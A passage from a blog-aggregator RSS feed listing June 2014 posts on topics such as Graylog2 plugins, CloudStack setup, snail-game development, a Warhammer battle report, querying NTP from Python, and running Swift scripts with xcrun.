&lt;p&gt;via &lt;a href="http://haacked.com/archive/2014/05/17/microsofts-new-running-shoes/"&gt;Microsoft’s New Running Shoes&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Tue, 17 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/microsofts-new-running-shoes/</guid></item><item><title>Installing Elasticsearch Plugins on Graylog2</title><link>https://james-carr.org/posts/graylog-plugins/</link><description>I thought I’d share this since it was something I unfortunately, spent a good portion of my afternoon wrestling with. So you want to use an elasticsearch plugin within graylog2-server? I don’t care about your reasons, but this will help you do it. I’m going to go out on a limb and assume you’re wanting to use the kopf plugin to view cluster state, but this will work for any plugin.</description><author>James Carr</author><pubDate>Tue, 17 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://james-carr.org/posts/graylog-plugins/</guid></item><item><title>searchcode next</title><link>https://boyter.org/2014/06/searchcode/</link><description>&lt;p&gt;There seems to be a general trend with calling the new release of your search engine next (see &lt;a href="http://blog.iconfinder.com/introducing-iconfinder-next/"&gt;Iconfinder&lt;/a&gt; and &lt;a href="https://duck.co/forum/thread/5726/duckduckgo-reimagined-and-redesigned"&gt;DuckDuckGo&lt;/a&gt;), and so I am happy to announce and write about &lt;a href="https://searchcode.com/"&gt;searchcode next&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As with many project searchcode has some very humble beginnings. It originally started out as a &amp;ldquo;I need to do something&amp;rdquo; side project originally just indexing programming documentation. Time passed and the idea eventually evolved into a search engine for all programming documentation, and then with Google Code search being shut down a code search engine as well.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Tue, 17 Jun 2014 02:16:45 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/06/searchcode/</guid></item><item><title>Installing CloudStack 4.3 on Ubuntu Server 14.04</title><link>https://joshuarogers.net/articles/2014-06/installing-cloudstack-43-ubuntu-1404/</link><description>The universe is most surprisingly finite, it seems. Technology even more so. A few posts ago, I lamented that n IP addresses always need to be split n+1 ways. If it is true with IP addresses, it's twice as true with hardware. Given three servers, there will be demand for, at minimum, five. Certainly there must be a way for us to sneak out of this problem too, right?
We could always just install multiple sets of services on the same bare metal.</description><author>Joshua Rogers</author><pubDate>Mon, 16 Jun 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-06/installing-cloudstack-43-ubuntu-1404/</guid></item><item><title>The Creativity Racket</title><link>https://zacs.site/blog/the-creativity-racket.html</link><description>&lt;p&gt;I coded all morning in a determined effort to finish a long-standing project I intend to write about soon. Although I planned to spend only a short while on this before moving to other things, I ended up using the majority of my afternoon to finally, after months of work, just about make this script feature-complete. It was not something I had planned to do, nor was it particularly enjoyable&amp;#160;&amp;#8212;&amp;#160;in fact, at times I grew quite frustrated with my lack of progress, and often thought of quitting. But I plugged away at it, and now I am one step closer to finishing this project as well.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-creativity-racket.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 15 Jun 2014 22:36:23 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-creativity-racket.html</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-6914.html</link><description>&lt;p&gt;A remarkably short list for you this week, if it even deserves such a title as &amp;#8220;list&amp;#8221; with only two members. But, nevertheless, it does contain the two best podcast episodes I encountered over the last seven days. So enjoy, and maybe this weekend spend a little less time with headphones in your ears.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-6914.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 15 Jun 2014 15:18:12 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-6914.html</guid></item><item><title>Cover Letter</title><link>https://myownfortune.wordpress.com/2014/06/15/cover-letter/</link><description>&amp;#160; Warning: another technical post.I wrote this cover letter many years ago, when I wanted to get accepted to the Matzov unit of the Israeli Defense Force (in Israeli, every male is conscripted for three years at age 18, and I wanted to put my skills to good use.) Like the picture above, it can be [&amp;#8230;]</description><author>My Own Fortune</author><pubDate>Sun, 15 Jun 2014 04:38:28 GMT</pubDate><guid isPermaLink="true">https://myownfortune.wordpress.com/2014/06/15/cover-letter/</guid></item><item><title>The day of the lettuce leaf</title><link>https://liza.io/the-day-of-the-lettuce-leaf/</link><description>&lt;p&gt;Today I put the first item (a consumable lettuce leaf) into Gastropoda.&lt;/p&gt;
&lt;h2 id="the-items"&gt;The items&lt;/h2&gt;
&lt;p&gt;The lettuce leaf was to be the first food item in Gastropoda. However, before I could make the leaf itself I had to make the food system, which I hadn&amp;rsquo;t yet planned out in great detail. Four new tables were involved:&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 15 Jun 2014 02:55:18 GMT</pubDate><guid isPermaLink="true">https://liza.io/the-day-of-the-lettuce-leaf/</guid></item><item><title>World Made by Nuts</title><link>https://one.mikro2nd.net/pages/world-made-by-nuts/</link><description>So yesterday was one of those days when you just know you&amp;rsquo;re going to waste a bunch of time attending to annoying, but sort-of necessary, stuff.
The car has been giving some trouble, and nobody in town was able to pin it down. Yeh, it is an almost 20 year-old Corolla, so some repair work comes with the territory. It&amp;rsquo;s still a whole lot cheaper than the repayments on a new or newer car, and I greatly doubt I&amp;rsquo;d find another car with similar longevity, resale value and overall reliability.</description><author>one mikro2nd</author><pubDate>Sat, 14 Jun 2014 12:29:24 GMT</pubDate><guid isPermaLink="true">https://one.mikro2nd.net/pages/world-made-by-nuts/</guid></item><item><title>Publishers' Deal with the Devil</title><link>http://stratechery.com/2014/publishers-deal-devil/</link><description>&lt;p&gt;By far and away the best article from Ben Thompson in quite some time, reminiscent of his past &lt;a href="https://stratechery.com/2014/newspapers-are-dead-long-live-journalism/"&gt;three-part series on the future of news and newspapers&lt;/a&gt;. I have paid too little attention to this issue to have formed any sort of opinion on it, but based on this piece I would agree with Ben: it seems like book publishers made a ill-fated deal, Amazon has come to collect, and it&amp;#8217;s far too late to go back on it now.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/publishers-deal-devil/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 14 Jun 2014 11:33:40 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/publishers-deal-devil/</guid></item><item><title>2014-06-14</title><link>https://ho.dges.online/pictures/2014-06-14/</link><description/><author>ho.dges.online</author><pubDate>Sat, 14 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-06-14/</guid></item><item><title>America's Last King of Cast Iron Finds His Time Has Come Again</title><link>http://www.businessweek.com/articles/2014-05-19/lodge-skillets-endure-americas-last-king-of-cast-iron-finds-his-time-has-come-again</link><description>&lt;p&gt;If you have never tried cooking with cast iron, you and everyone that has ever eaten with you are missing out: with the exception of boiling water, every single dish you can think of cooked with a cast iron skillet or Dutch oven turns out better than when made with a utensil of inferior materials, and everything is inferior to cast iron when it comes to cooking. Forget stainless steel, non-stick, and everything else: nothing holds a candle to this material. That&amp;#8217;s why I, personally, cook everything in a cast iron pan, and wouldn&amp;#8217;t even think of using anything else. So do yourself a favor and pick one of these up; I promise, you won&amp;#8217;t regret it.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.businessweek.com/articles/2014-05-19/lodge-skillets-endure-americas-last-king-of-cast-iron-finds-his-time-has-come-again"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 13 Jun 2014 10:08:23 GMT</pubDate><guid isPermaLink="true">http://www.businessweek.com/articles/2014-05-19/lodge-skillets-endure-americas-last-king-of-cast-iron-finds-his-time-has-come-again</guid></item><item><title>Fitness Crazed</title><link>http://www.nytimes.com/2014/05/25/opinion/sunday/fitness-crazed.html</link><description>&lt;p&gt;This article reminds of Rocky IV, when Rocky Balboa prepared to fight on behalf of the U.S. against The USSR&amp;#8217;s Ivan Drago by running in the snow, doing push-ups, and lifting bundles of rocks while his opponent used steroids and the most advanced training practices. Yet in the end, Rocky still won: hard, grueling exercises, both then and now, prevailed over the finicky, artisanal workouts that have become so popular as of late. If you have not yet gotten the results you want, the culprit may very well be the actual workout itself.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.nytimes.com/2014/05/25/opinion/sunday/fitness-crazed.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 12 Jun 2014 20:07:42 GMT</pubDate><guid isPermaLink="true">http://www.nytimes.com/2014/05/25/opinion/sunday/fitness-crazed.html</guid></item><item><title>Taking it easy on the snailing with some lazy layout work</title><link>https://liza.io/taking-it-easy-on-the-snailing-with-some-lazy-layout-work/</link><description>&lt;p&gt;I&amp;rsquo;m too sleepy to do any proper work on Gastropoda today. I was hoping to implement the first food item, but yeah&amp;hellip;that&amp;rsquo;s not happening. This morning I decided to head to the office early to get some work done on a largeish task while I had some distraction-free time. I did get a lot done, but waking up at 4am also meant that I was completely beat by about 1. Now I&amp;rsquo;m in bed, half asleep, wishing someone would bring me some cheese.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Thu, 12 Jun 2014 01:16:40 GMT</pubDate><guid isPermaLink="true">https://liza.io/taking-it-easy-on-the-snailing-with-some-lazy-layout-work/</guid></item><item><title>After the Storm</title><link>http://sansink.org/after-the-storm/</link><description>&lt;p&gt;A few days ago &lt;a href="https://zacs.site/blog/the-magic-of-wwdc.html"&gt;I asked&lt;/a&gt; if those who speak out critically of the attention WWDC garners changed their opinions with last week&amp;#8217;s impressive roster of announcements; looks like it changed at least one person&amp;#8217;s mind, and rightfully so. Adam&amp;#8217;s more favorable opinion of WWDC is not the only noteworthy aspect of this piece, however: I believe he hit the nail squarely on the head when describing Apple&amp;#8217;s current and future relationship with Google by way of these innovations as well. In short, it will be an amicable partnership no more. Apple has yet to fully realize Steve Jobs&amp;#8217; promise of going thermonuclear on Android, but they have been hard at work building the warheads behind closed doors up until now, of which we only got occasional glimpses here and there in the form of iOS 6 and then iOS 7. Now, though, the missiles have been wheeled out into full view, and I might even go so far as to argue primed and ready for launch. They say the only way to win is not to play, but in this case, I&amp;#8217;m not so sure; personally, I&amp;#8217;d put money on Apple.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://sansink.org/after-the-storm/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 11 Jun 2014 09:54:29 GMT</pubDate><guid isPermaLink="true">http://sansink.org/after-the-storm/</guid></item><item><title>How to handle big repositories with git</title><link>https://nicolaiarocci.com/how-to-handle-big-repositories-with-git/</link><description>&lt;blockquote&gt;
&lt;p&gt;git is a fantastic choice for tracking the evolution of your code base and to collaborate efficiently with your peers. But what happens when the repository you want to track is really huge?&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="https://blogs.atlassian.com/2014/05/handle-big-repositories-git/"&gt;How to handle big repositories with git – Atlassian Blogs&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 11 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/how-to-handle-big-repositories-with-git/</guid></item><item><title>2014-06-11</title><link>https://ho.dges.online/pictures/2014-06-11/</link><description/><author>ho.dges.online</author><pubDate>Wed, 11 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-06-11/</guid></item><item><title>Recording snail history logs</title><link>https://liza.io/recording-snail-history-logs/</link><description>&lt;p&gt;I&amp;rsquo;ve decided that it&amp;rsquo;s about time to start recording event histories for snails. I keep going back to the database and checking which event ran on which snail by IDs and such and it&amp;rsquo;s getting to be a hassle. I&amp;rsquo;d rather just be able to go to the snail&amp;rsquo;s profile page and see all the important stuff that&amp;rsquo;s happened to it. Since this was always meant to be a feature anyway, I figured I may as well do it now.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 11 Jun 2014 01:04:36 GMT</pubDate><guid isPermaLink="true">https://liza.io/recording-snail-history-logs/</guid></item><item><title>FKPMMA Video</title><link>https://june.kim/fkpmma/</link><author>june.kim</author><pubDate>Tue, 10 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/fkpmma/</guid></item><item><title>AngelHacked Weekend</title><link>https://trigonaminima.github.io/2014/06/angelhack/</link><description>So, this weekend of mine was spent in an office in Gurgaon (1-2 hr away from my home), hacking a web service called Freya. FYI, hacking means tinkering/playing/building with the technologies, not getting access into private things and steal anything, inscribe it in your mind.</description><author>Playground</author><pubDate>Tue, 10 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2014/06/angelhack/</guid></item><item><title>Android by Apple</title><link>https://zacs.site/blog/android-by-apple.html</link><description>&lt;p&gt;A few days ago, shortly after watching the WWDC keynote, I made a short quip &lt;a href="https://twitter.com/zacjszewczyk/status/474021292484866048"&gt;on Twitter&lt;/a&gt; that went completely unnoticed at the time: &amp;#8220;Posit: Apple doesn&amp;#8217;t need to build low-end phones: it has Android.&amp;#8221; I expected to get some pushback on that statement, and so partly because I did not and partly because I believe it an observation worth exploring, I have decided to expand upon it today.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/android-by-apple.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 09 Jun 2014 19:14:53 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/android-by-apple.html</guid></item><item><title>Creating a useful AngularJS project structure and toolchain</title><link>https://manuel.kiessling.net/2014/06/09/creating-a-useful-angularjs-project-structure-and-toolchain/</link><description>About  This article describes in great detail what I learned about setting up AngularJS applications in terms of project structure, tools, dependency management, test automation and code distribution. The result is a seed project that is easily extendable, clearly structured, self-documenting, and comfortable to work with. Requirements  One of the key points of this setup is that everything that is needed for the application itself to run and the tests to works, and every other relevant task related to developing the application, is pulled in through tool-based dependency management.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Mon, 09 Jun 2014 18:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2014/06/09/creating-a-useful-angularjs-project-structure-and-toolchain/</guid></item><item><title>Passwords</title><link>https://joshuarogers.net/articles/2014-06/passwords/</link><description>Alright Internet, we need to talk.
You've grown up quite a bit over the last several years, but I've never taken the time to have thetalk with you. You know the one. The safe passwords talk.
Your requirements for a minimum length, and a diversity of characters in passwords made many classes of brute force attack more difficult. You've gotten a bit carried away though, it seems. You're actually making the internet a more untrustable place.</description><author>Joshua Rogers</author><pubDate>Mon, 09 Jun 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-06/passwords/</guid></item><item><title>Query an NTP server from Python</title><link>https://www.mattcrampton.com/blog/query_an_ntp_server_from_python/</link><description>Query an NTP server from Python This code has been updated to support Python 3. Thanks to @MarqueIV for noticing that it needed updating. I came across a need to query an NTP server to get the current time from a python script. There are some great python modules you can install which will take care of the heavy lifting (one great one is ntplib), but I wanted to be able to do these NTP queries without requiring the host to install 3rd party python packages. As it turns out, it wasn't too difficult after checking out a few stack overflow threads, I put together this little script... Python Pull NPT Time Script #!/usr/bin/env python from socket import AF_INET, SOCK_DGRAM import sys import socket import struct, time def getNTPTime(host = "pool.ntp.org"): port = 123 buf = 1024 address = (host,port) msg = '\x1b' + 47 * '\0' # reference time (in seconds since 1900-01-01 00:00:00) TIME1970 = 2208988800 # 1970-01-01 00:00:00 # connect to server client = socket.socket( AF_INET, SOCK_DGRAM) c...</description><author>MattCrampton.com</author><pubDate>Mon, 09 Jun 2014 08:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mattcrampton.com/blog/query_an_ntp_server_from_python/</guid></item><item><title>Chatbot Nonsense</title><link>https://boyter.org/2014/06/chatbot-nonsense/</link><description>&lt;p&gt;There has been a lot of coverage recently about a chat-bot &amp;ldquo;&lt;a href="http://princetonai.com/bot/bot.jsp"&gt;Eugene Goostman&lt;/a&gt;&amp;rdquo; passing a variance of the Turing test by convincing 30% of the testers that it was indeed a human by posing as Ukrainian 13 year old boy (to make misspellings and grammar mistakes forgivable I suppose).&lt;/p&gt;
&lt;p&gt;Naturally I had to give it a try and frankly I can&amp;rsquo;t see how something like this could convince anyone that its a living human being. I asked a few questions such as the following &amp;ldquo;Whereabouts in the Ukraine do you live?&amp;rdquo; the response being &amp;ldquo;It is a country in SE Europe that&amp;rsquo;s all I can tell you&amp;rdquo; which is not exactly promising.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Mon, 09 Jun 2014 05:52:52 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/06/chatbot-nonsense/</guid></item><item><title>The evolution of BYOD</title><link>https://jasoneckert.github.io/myblog/the-evolution-of-byod/</link><description>&lt;p&gt;&lt;img alt="BYOD" src="byod.png#center" title="BYOD" /&gt;&lt;/p&gt;
&lt;p&gt;In the 1980s, email remained a luxury for a small number of larger organizations and universities. Mobile email did not exist.  Instead, pagers and cellular telephones were the primary tools for mobile communication. However, in the early 1990s, email rose to prominence with the commercialization of the Internet. Although early smartphones did exist at this time (e.g. IBM’s Simon), email was not considered a mobile technology.&lt;/p&gt;
&lt;p&gt;But by the mid 1990s, the computing landscape had exploded.  PCs spread across companies like a virus, and productivity software like Microsoft Office became standard practice.  Email quickly rose to prominence, and was the primary method for communication within companies by the late 1990s.  Microsoft Outlook (part of Microsoft Office) allowed you to send and receive emails internally or across the internet via your company’s Microsoft Exchange Server (which is still the dominant email server today).&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Mon, 09 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/the-evolution-of-byod/</guid></item><item><title>Thoughts on @HobbyGameDev's post on starting simple</title><link>https://liza.io/thoughts-on-@hobbygamedevs-post-on-starting-simple/</link><description>&lt;p&gt;Chris DeLeon of HobbyGameDev has written a post all about &lt;a href="http://www.hobbygamedev.com/beg/incremental-learning/" target="_blank"&gt;the importance of starting simple in game development&lt;/a&gt;, and of picking projects that make you &lt;em&gt;reach&lt;/em&gt; as opposed to &lt;em&gt;scramble&lt;/em&gt; in terms of their complexity versus your current skillset.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 08 Jun 2014 14:48:56 GMT</pubDate><guid isPermaLink="true">https://liza.io/thoughts-on-@hobbygamedevs-post-on-starting-simple/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-6114.html</link><description>&lt;p&gt;WWDC has come and gone, and in its wake Apple has left us a number of great analytical shows discussing the implications of its announcements. Podcasts on this subject are not the only ones you will find here, though: this week, as always, I have something for everyone.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-6114.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 08 Jun 2014 12:01:55 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-6114.html</guid></item><item><title>The Book Thief</title><link>https://apurva-shukla.me/bookshelf/the-book-thief/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ I absolutely loved this book.. It was so emotional and descriptive of the hard times in the 1930’s and 40’s… Definitely in my top…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Sun, 08 Jun 2014 10:00:00 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/the-book-thief/</guid></item><item><title>Contact Lost on Asherth</title><link>https://benovermyer.com/blog/2014/06/contact-lost-on-asherth/</link><description>&lt;p&gt;Asherth. A frozen rock on the fringe of Imperial space. And, as it happened, a world of sudden importance to the Salamanders.&lt;/p&gt;
&lt;p&gt;The loss of a sacred Land Raider in a battle only weeks prior stung deeply. Imperial Guard corrupted by Chaos had extinguished its fire forever, and the Salamanders of Third Company keenly felt its loss. To replace it, they needed a new source of ferranite, a mineral integral to Land Raider construction.&lt;/p&gt;
&lt;p&gt;Third Company found such a source in Asherth.&lt;/p&gt;
&lt;p&gt;The icy death world in the far reaches of space was rich in ferranite. The Chapter Master ordered Third Company there to secure the world, and this proved no easy task. Besides the deadly ice storms and fierce native predators, the Salamanders discovered another threat: the world was held by a large force of Orks. They bore the bright yellow of the Bad Moons, and seemed hellbent on keeping Asherth for themselves.&lt;/p&gt;
&lt;p&gt;The Orks had destroyed a contingent of Imperial Guard that was sent in ahead of the Salamanders to establish a foothold. First priority for the sons of Nocturne was to recover what they could of the Imperial Guard's supplies and retake the fortress overrun by the Orks.&lt;/p&gt;
&lt;h1 id="the-first-battle-of-asherth-contact-lost"&gt;The First Battle of Asherth: Contact Lost&lt;/h1&gt;
&lt;p&gt;Initial deployment saw the Orks scattered and the Guard utterly annihilated. The Salamanders touched down in their Thunderhawks and proceeded to advance towards the last known position of the Guard supply transports. As the mighty Astartes marched forward, one of Asherth's terrible ice storms moved in, and all contact with the battle cruiser in orbit was lost.&lt;/p&gt;
&lt;p&gt;Nonplussed, the Salamanders took sight of Ork vehicles and began their assault.&lt;/p&gt;
&lt;p&gt;The battle was long and fierce. Early in the engagement, Third Company's last remaining Land Raider Redeemer was laid low by Ork Tankbustas. If not for the Astartes' destruction of two massive Ork vehicles, the battle may have ended right there.&lt;/p&gt;
&lt;p&gt;An Ork Deff Dred carved a bloody swath through the Salamanders' lines, dividing them into two forces cut off from each other. With no support or reinforcements forthcoming from orbit, the two forces were in dire straits. As the battle progressed, the Deff Dred destroyed a full squad of Centurions that tried to reunite the two halves of the Salamanders' army.&lt;/p&gt;
&lt;p&gt;The Orks' trukks moved in and claimed much of the supplies left behind by the Imperial Guard. The Ork boyz laid down a withering hail of gunfire to protect their trukks and gleefully charged the Salamanders.&lt;/p&gt;
&lt;p&gt;In response, Captain Adrax Agatone rushed into battle with the Ork warlord, a full squad of Assault Marines by his side. Though badly injured by Ork heavy weapons, Adrax cut down the Ork warlord with his relic blade.&lt;/p&gt;
&lt;p&gt;Sensing the tide of battle was turning against them, the Orks gathered up their forces and retreated into the tunnels beneath Asherth's surface, descending deep into the bowels of the ice world.&lt;/p&gt;
&lt;p&gt;The ice storm passed and the Salamanders regained contact with their battle cruiser. With reinforcements sent down to repair the Redeemer and fortify the Imperial Guard facility, Adrax and his battle brothers regrouped and followed the Orks into the depths.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Sun, 08 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/06/contact-lost-on-asherth/</guid></item><item><title>2014-06-08</title><link>https://ho.dges.online/pictures/2014-06-08/</link><description>&lt;p&gt;This cottage has been refurbished and is a very swish looking home. I knew I wanted a long-exposure shot but the weather wasn&amp;rsquo;t conducive to that so I had to stack all of the ND filters I had to get the effect.&lt;/p&gt;
&lt;p&gt;In 2022, this picture was included in Fujifilm&amp;rsquo;s 10 year celebration of the X series cameras and was part of Fuji&amp;rsquo;s exhibition at their Covent Garden store.&lt;/p&gt;
&lt;p&gt;&lt;img alt="exhibition" src="exhibition.jpg" /&gt;&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sun, 08 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-06-08/</guid></item><item><title>Ceph OSD request processing latency</title><link>https://makedist.com/posts/2014/06/08/ceph-osd-request-processing-latency/</link><description>How fast can Ceph&amp;rsquo;s RADOS object store process a request?</description><author>Noah Watkins</author><pubDate>Sun, 08 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2014/06/08/ceph-osd-request-processing-latency/</guid></item><item><title>A New Site</title><link>https://alanpearce.eu/post/a-new-site/</link><description>I made a website.</description><author>Alan Pearce</author><pubDate>Sat, 07 Jun 2014 23:16:16 GMT</pubDate><guid isPermaLink="true">https://alanpearce.eu/post/a-new-site/</guid></item><item><title>Snail metabolic rates and caloric needs</title><link>https://liza.io/snail-metabolic-rates-and-caloric-needs/</link><description>&lt;p&gt;Wow, two blog posts in one day.&lt;/p&gt;
&lt;p&gt;Today I implemented a basic energy system for the snails. I&amp;rsquo;m trying to keep it moderately realistic for the time being just to implement something quickly, but the idea for the final version is to actually do proper research on exactly how this stuff works and revise the system to match.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 07 Jun 2014 22:21:37 GMT</pubDate><guid isPermaLink="true">https://liza.io/snail-metabolic-rates-and-caloric-needs/</guid></item><item><title>Screenshot Saturday 174</title><link>https://etodd.io/2014/06/07/screenshot-saturday-174/</link><description>&lt;p&gt;First, a couple project updates. I pre-ordered an Oculus DK2! Come August, Lemma will have Oculus VR support. Huzzah!&lt;/p&gt;
&lt;p&gt;I also got a sign for our booth at the &lt;a class="imgScanned" href="http://mgdsummit.com/" rel="nofollow"&gt;Midwest Game Developer summit&lt;/a&gt;&lt;span class="keyNavAnnotation" title="press 2 to open link"&gt; &lt;/span&gt;. Got it from &lt;a class="imgScanned" href="http://esigns.com/" rel="nofollow"&gt;eSigns&lt;/a&gt;, whom I highly recommend! Insanely cheap, fast, and high quality.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/P9Ly4g7.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/P9Ly4g7l.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I am currently scrambling madly to complete a build for the Indie Megabooth submission deadline on Sunday. Stuff that's done:&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 07 Jun 2014 03:59:56 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/06/07/screenshot-saturday-174/</guid></item><item><title>mucks: now with the dvtm flavor!</title><link>https://zserge.com/posts/mucks2/</link><description>Somehow refactoring turned info rewriting from scratch&amp;hellip; So, meet the new shiny mucks app written in AWK language (instead of UNIX Shell).
I played with quotes in tmux &amp;ldquo;send-keys&amp;rdquo; command, and it turned out that different shells treat quotes in the &amp;ldquo;read&amp;rdquo; command very differently, and I found no easy way to overcome it.
That&amp;rsquo;s how AWK came to the rescue. A more mature, yet much simpler language made my code cleaner and shorter.</description><author>zserge's blog</author><pubDate>Sat, 07 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/mucks2/</guid></item><item><title>Compile &amp;amp; run swift files directly</title><link>https://caiustheory.com/compile-run-swift-files-directly/</link><description>&lt;p&gt;Turns out you can run a swift file without having to compile it into a binary somewhere and then run that binary. Makes swift behave a bit more like a scripting language like ruby or python when you need it to.&lt;/p&gt;
&lt;p&gt;Using the &lt;code&gt;xcrun&lt;/code&gt; binary, we can reach into the current Xcode &lt;code&gt;/bin&lt;/code&gt; folder and run binaries within there. So &lt;code&gt;xcrun swift&lt;/code&gt; lets you run the swift binary to compile files for instance. If you view the help with &lt;code&gt;-h&lt;/code&gt;, there&amp;rsquo;s a useful flag &lt;code&gt;-i&lt;/code&gt; listed there:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;-i    Immediate mode&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Turns out immediate mode means &amp;ldquo;compile &amp;amp; run&amp;rdquo; in the same command, which is what we&amp;rsquo;re after.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat hello.swift
println(&amp;quot;Hello World&amp;quot;)
$ xcrun swift -i hello.swift
Hello World
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bingo. But what if we want to make hello.swift executable and call it directly without having to know it needs the swift binary to call it. Unix lets files define their shebang to say how the file needs to be executed, so lets go for that here too!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat hello2.swift
#!/usr/bin/env xcrun swift -i
println(&amp;quot;Hello World 2&amp;quot;)
$ chmod +x hello2.swift
$ ./hello2.swift
Hello World 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No more having to fire up Xcode for quick CLI tools, especially ones using the system frameworks!&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Fri, 06 Jun 2014 17:32:18 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/compile-run-swift-files-directly/</guid></item><item><title>My 3 favorite Södermalm cafes to work in</title><link>https://liza.io/my-3-favorite-s%C3%B6dermalm-cafes-to-work-in/</link><description>&lt;p&gt;Since moving to Sweden I have become a sort of cafe hunter. I roam Södermalm with my laptop, sometimes on my Brompton, scouting out potential sitting spots with WiFi where I can sit and work on my personal projects or read.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Fri, 06 Jun 2014 15:33:18 GMT</pubDate><guid isPermaLink="true">https://liza.io/my-3-favorite-s%C3%B6dermalm-cafes-to-work-in/</guid></item><item><title>Peeping Tim</title><link>https://zacs.site/blog/peeping-tim.html</link><description>&lt;p&gt;Monday afternoon, at the tail end of a jam-packed and incredible keynote, Craig Federighi introduced yet another &amp;#8220;kit&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;HomeKit. Continuing an impressive trend present throughout the presentation, this framework makes your entire house an accessory to the iPhone in iOS 8 by allowing those with compatible systems to control everything from security cameras and door locks to lights and, although not explicitly stated, other devices such as thermostats too. Unsurprisingly, the feedback I have seen thus far has remained universally positive: if not the utility of such an advancement, everyone recognizes the implications of Apple tying so many once-disparate systems together into a single, usable, and&amp;#160;&amp;#8212;&amp;#160;most importantly&amp;#160;&amp;#8212;&amp;#160;enjoyable system. Completely absent from this commentary, however, is any discussion of 